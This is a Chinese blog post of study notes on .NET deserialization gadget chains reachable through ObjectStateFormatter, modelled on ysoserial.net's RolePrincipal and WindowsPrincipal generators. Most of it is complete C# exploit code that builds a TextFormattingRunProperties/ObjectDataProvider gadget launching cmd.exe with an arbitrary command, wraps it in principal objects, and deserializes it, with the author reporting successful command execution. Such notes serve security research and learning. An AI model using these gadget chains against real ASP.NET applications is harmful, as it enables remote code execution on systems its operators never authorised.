ObjectStateFormatter反序列化链

前言:记录ObjectStateFormatter反序列化链的笔记

参考文章:https://xz.aliyun.com/t/9598
参考文章:https://www.anquanke.com/post/id/176664

ObjectStateFormatter

命名空间位于:System.Web.UI

ObjectStateFormatter同样用于序列化和反序列化表示对象状态的对象图。实现IFormatter、IStateFormatter。

PageStatePersister类和从其派生的类使用ObjectStateFormatter来序列化视图状态和控件状态。

从之前的学习上LosFormatter中可以知道,LosFormatter的底层反序列化其实也调用了ObjectStateFormatter,可见ObjectStateFormatter是LosFormatter的底层实现,而在ysoserial.net工具中并没有这个formatter,原因是因为在ysoserial.net工具中有这样一句话:

We don't actually need to use ObjectStateFormatter in ysoserial.net because it is the same as LosFormatter without MAC/keys

即ObjectStateFormatter和没有设置mac/keys的LosFormatter是一样的。所以在遇到ObjectStateFormatter反序列化时直接用ysoserial.net的LosFormatter生成payload即可,除非需要mac/key。

为什么ObjectStateFormatter和没有设置mac/keys的LosFormatter是一样的问题

先放着

序列化和反序列化

using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Web.UI;

namespace SerializationCollection
{
    [Serializable]
    class Person
    {
        private int age;
        private string name;
        public int Age { get => age; set => age = value; }
        public string Name { get => name; set => name = value; }
        public void SayHello()
        {
            Console.WriteLine("hello from SayHello");
        }
    }
    class Program
    {

        static void Main(string[] args)
        {
            // 序列化的用法

            Person person = new Person();
            person.Age = 18;
            person.Name = "chiling";
            FileStream file_stream = new FileStream(@"1.xml", FileMode.Create);
            ObjectStateFormatter objectStateFormatter = new ObjectStateFormatter();
            objectStateFormatter.Serialize(file_stream, person);
            file_stream.Close();           

            // 反序列化
            FileStream file_stream = new FileStream(@"1.xml", FileMode.Open);
            ObjectStateFormatter objectStateFormatter = new ObjectStateFormatter();
            Person person = (Person)objectStateFormatter.Deserialize(file_stream);
            Console.WriteLine(person.ToString());
            file_stream.Close();
        }
    }
}

RolePrincipal反序列化链

这边可以直接来看要ysoserial.net中的RolePrincipalGenerator模块

可以发现其中的数据是TextFormattingRunPropertiesGenerator生成的数据经过base64编码之后的,最后存储到System.Security.ClaimsPrincipal.Identities

这边可以继续来观察RolePrincipal的反序列化过程

这边RolePrincipal反序列化还会调用父类的反序列化过程,这边继续跟进去看,可以看到这边就触发了获取System.Security.ClaimsPrincipal.Identities类型的值

跟到this.DeserializeIdentities(info.GetString("System.Security.ClaimsPrincipal.Identities"));中就会发现最终会通过BinaryFormatter对System.Security.ClaimsPrincipal.Identities属性值进行反序列化

而这里是通过BinaryFormatter来进行反序列化的,那么将System.Security.ClaimsPrincipal.Identities的字段值替换为TextFormattingRunProperties的攻击链即可进行利用了

using Microsoft.VisualStudio.Text.Formatting;
using System;
using System.Collections.Generic;
using System.Collections.Specialized;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Reflection;
using System.Runtime.Serialization.Formatters.Binary;
using System.Runtime.Serialization;
using System.Text;
using System.Threading.Tasks;
using System.Web.UI;
using System.Windows.Data;
using System.Windows.Markup;

namespace SerializationCollection
{
    class Program
    {
        static void Main(string[] args)
        {
            TextFormattingRunPropertiesMarshal calc = new TextFormattingRunPropertiesMarshal("calc");
            string b64payload;
            using (MemoryStream m = new MemoryStream())
            {
                BinaryFormatter binaryFormatter = new BinaryFormatter();
                binaryFormatter.Serialize(m, calc);
                b64payload = Convert.ToBase64String(m.ToArray());
            }
            RolePrincipalMarshal rolePrincipalMarshal = new RolePrincipalMarshal(b64payload);
            ObjectStateFormatter objectStateFormatter = new ObjectStateFormatter();
            string p = objectStateFormatter.Serialize(rolePrincipalMarshal);
            objectStateFormatter.Deserialize(p);
        }


    }
    [Serializable]
    public class RolePrincipalMarshal : ISerializable
    {
        public RolePrincipalMarshal(string b64payload)
        {
            B64Payload = b64payload;
        }

        private string B64Payload { get; }

        public void GetObjectData(SerializationInfo info, StreamingContext context)
        {
            info.SetType(typeof(System.Web.Security.RolePrincipal));
            info.AddValue("System.Security.ClaimsPrincipal.Identities", B64Payload);
        }
    }
    [Serializable]
    public class TextFormattingRunPropertiesMarshal : ISerializable
    {
        protected TextFormattingRunPropertiesMarshal(SerializationInfo info, StreamingContext context)
        {
        }
        string _xaml;
        public void GetObjectData(SerializationInfo info, StreamingContext context)
        {
            Type typeTFRP = typeof(TextFormattingRunProperties);
            info.SetType(typeTFRP);
            info.AddValue("ForegroundBrush", _xaml);
        }
        public TextFormattingRunPropertiesMarshal(string cmd)
        {
            // ObjectDataProvider
            ProcessStartInfo psi = new ProcessStartInfo();
            psi.FileName = "cmd.exe";
            psi.Arguments = $"/c {cmd}";
            StringDictionary dict = new StringDictionary();
            psi.GetType().GetField("environmentVariables", BindingFlags.Instance | BindingFlags.NonPublic).SetValue(psi, dict);
            Process p = new Process();
            p.StartInfo = psi;
            ObjectDataProvider odp = new ObjectDataProvider();
            odp.MethodName = "Start";
            odp.IsInitialLoadEnabled = false;
            odp.ObjectInstance = p;
            _xaml = XamlWriter.Save(odp);
        }
    }
}

成功进行命令执行,结果如下所示

WindowsPrincipal反序列化链

这边可以来看要ysoserial.net中的WindowsPrincipalGenerator模块,首先看Marshal类WindowsPrincipalMarshal,这边构造的序列化数据过程如下,可以看到只动用了m_identity字段

再来看GenericGenerator类WindowsPrincipalGenerator是如何构造这段数据的

这里可以看到生成一个WindowsIdentity对象,然后对WindowsIdentity对象中的Actor填充为ClaimsIdentity对象,最后对ClaimsIdentity对象中的BootstrapContext字段填充为TextFormattingRunProperties利用链,最后将WindowsIdentity作为m_identity字段值

而这边的填充ClaimsIdentity对象BootstrapContext字段很容易联想到分析过的ClaimsIdentityGenerator模块,自己在 https://www.cnblogs.com/zpchcbd/p/17267385.html 中进行记录过,大家感兴趣可以参考下

最终的利用代码如下所示

using Microsoft.VisualStudio.Text.Formatting;
using System;
using System.Collections.Generic;
using System.Collections.Specialized;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Reflection;
using System.Runtime.Serialization.Formatters.Binary;
using System.Runtime.Serialization;
using System.Text;
using System.Threading.Tasks;
using System.Web.UI;
using System.Windows.Data;
using System.Windows.Markup;
using System.Security.Claims;
using System.Security.Principal;

namespace SerializationCollection
{
    class Program
    {

        static void Main(string[] args)
        {
            WindowsIdentity currentWI = WindowsIdentity.GetCurrent();
            currentWI.BootstrapContext = new TextFormattingRunPropertiesMarshal("calc");
            WindowsPrincipalMarshal obj = new WindowsPrincipalMarshal();
            obj.wi = currentWI;
            string v = new ObjectStateFormatter().Serialize(obj);
            new ObjectStateFormatter().Deserialize(v);
        }


    }
    [Serializable]
    public class WindowsPrincipalMarshal : ISerializable
    {
        public WindowsPrincipalMarshal() { }
        public WindowsIdentity wi { get; set; }
        public void GetObjectData(SerializationInfo info, StreamingContext context)
        {
            info.SetType(typeof(WindowsPrincipal));
            info.AddValue("m_identity", wi);
        }
    }

    [Serializable]
    public class TextFormattingRunPropertiesMarshal : ISerializable
    {
        protected TextFormattingRunPropertiesMarshal(SerializationInfo info, StreamingContext context)
        {
        }
        string _xaml;
        public void GetObjectData(SerializationInfo info, StreamingContext context)
        {
            Type typeTFRP = typeof(TextFormattingRunProperties);
            info.SetType(typeTFRP);
            info.AddValue("ForegroundBrush", _xaml);
        }
        public TextFormattingRunPropertiesMarshal(string cmd)
        {
            // ObjectDataProvider
            ProcessStartInfo psi = new ProcessStartInfo();
            psi.FileName = "cmd.exe";
            psi.Arguments = $"/c {cmd}";
            StringDictionary dict = new StringDictionary();
            psi.GetType().GetField("environmentVariables", BindingFlags.Instance | BindingFlags.NonPublic).SetValue(psi, dict);
            Process p = new Process();
            p.StartInfo = psi;
            ObjectDataProvider odp = new ObjectDataProvider();
            odp.MethodName = "Start";
            odp.IsInitialLoadEnabled = false;
            odp.ObjectInstance = p;
            _xaml = XamlWriter.Save(odp);
        }
    }
}

可以看到命令执行成功,结果如下所示

posted @ 2023-03-29 16:06  zpchcbd  阅读(275)  评论(0)    收藏  举报